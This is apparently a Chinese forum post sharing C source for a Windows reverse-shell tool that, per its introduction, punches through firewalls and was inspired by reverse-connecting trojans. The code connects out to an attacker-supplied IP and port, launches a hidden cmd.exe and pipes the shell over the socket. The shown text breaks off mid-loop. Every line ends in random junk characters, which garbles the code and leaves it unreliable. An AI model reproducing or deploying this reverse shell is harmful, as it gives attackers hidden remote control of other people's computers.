这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,9\Snn
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/* ============================== .YR8v1Cp
Rebound port in Windows NT ezn`
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By wind,2006/7 $P nLG]X
===============================*/ 2+:'0Krc
#include \[ M_\&GC
#include $;`I,k$0>~
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#pragma comment(lib,"wsock32.lib") f-D>3qSS
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void OutputShell(); jct./arK
SOCKET sClient; :Q7mV%%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X;VQEDMPU
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void main(int argc,char **argv) LuS+_|]x
{ k ZxW"2
WSADATA stWsaData; k>5 O`Y:
int nRet; ;LQ9#M?
SOCKADDR_IN stSaiClient,stSaiServer; CGZ^hoh/
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if(argc != 3) 56{I`QjX
{ 3m=2x5{L
printf("Useage:\n\rRebound DestIP DestPort\n"); ~O03Sit-
return; v{y{sA
} J(s;$PG
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WSAStartup(MAKEWORD(2,2),&stWsaData); /g76Hw>H
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y@;%Uv&
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); p3yU:q#A
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9$RIH\*
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !h: Q
{ eW50s`bKY
printf("Bind Socket Failed!\n"); <n^3uXzD
return; .~mCXz<x
} *7RvHHf
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stSaiServer.sin_family = AF_INET; <kbyZXV@K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /S~m)$vu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y LM"+.?pL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /;oqf4MF
{ u
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printf("Connect Error!"); kg>>D
return; K5k?H
} F,T~\gO5,
OutputShell(); &HDP!SLS
} [BDGR
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void OutputShell() !w2gGy:I>
{ f /y`
char szBuff[1024]; DWm SC}{.
SECURITY_ATTRIBUTES stSecurityAttributes; n:4uA`Vg
OSVERSIONINFO stOsversionInfo; Z
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /3B6Mtb
STARTUPINFO stStartupInfo; _0(7GE13p
char *szShell; b{5K2k&,
PROCESS_INFORMATION stProcessInformation; Tlodn7%",
unsigned long lBytesRead; ]KuMz p!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XG 0v
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vAi$[p*im
stSecurityAttributes.lpSecurityDescriptor = 0; *>."V5{;S
stSecurityAttributes.bInheritHandle = TRUE; ,t,wy37*D
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &.N$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r;m`9,RW
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %*W<vu>H
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SEd5)0X^
stStartupInfo.wShowWindow = SW_HIDE; J|~26lG
stStartupInfo.hStdInput = hReadPipe; L*JPe"N-e
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~cqryr9
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GetVersionEx(&stOsversionInfo); M+xdHBg
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switch(stOsversionInfo.dwPlatformId) 51xk>_Hm}|
{ #T3h}=
case 1: 11UB4CA
szShell = "command.com"; tIuoD+AW
break; n$["z
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default: sl|_=oXT
szShell = "cmd.exe"; B0Xl+JIR#
break; I021p5h|
} nH[+n `{o
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~<9{#uM
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send(sClient,szMsg,77,0); Of[;Qn
while(1) tE"Si<[]H$
{ .$rC0<G[K
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R,_d1^|*w
if(lBytesRead) >e&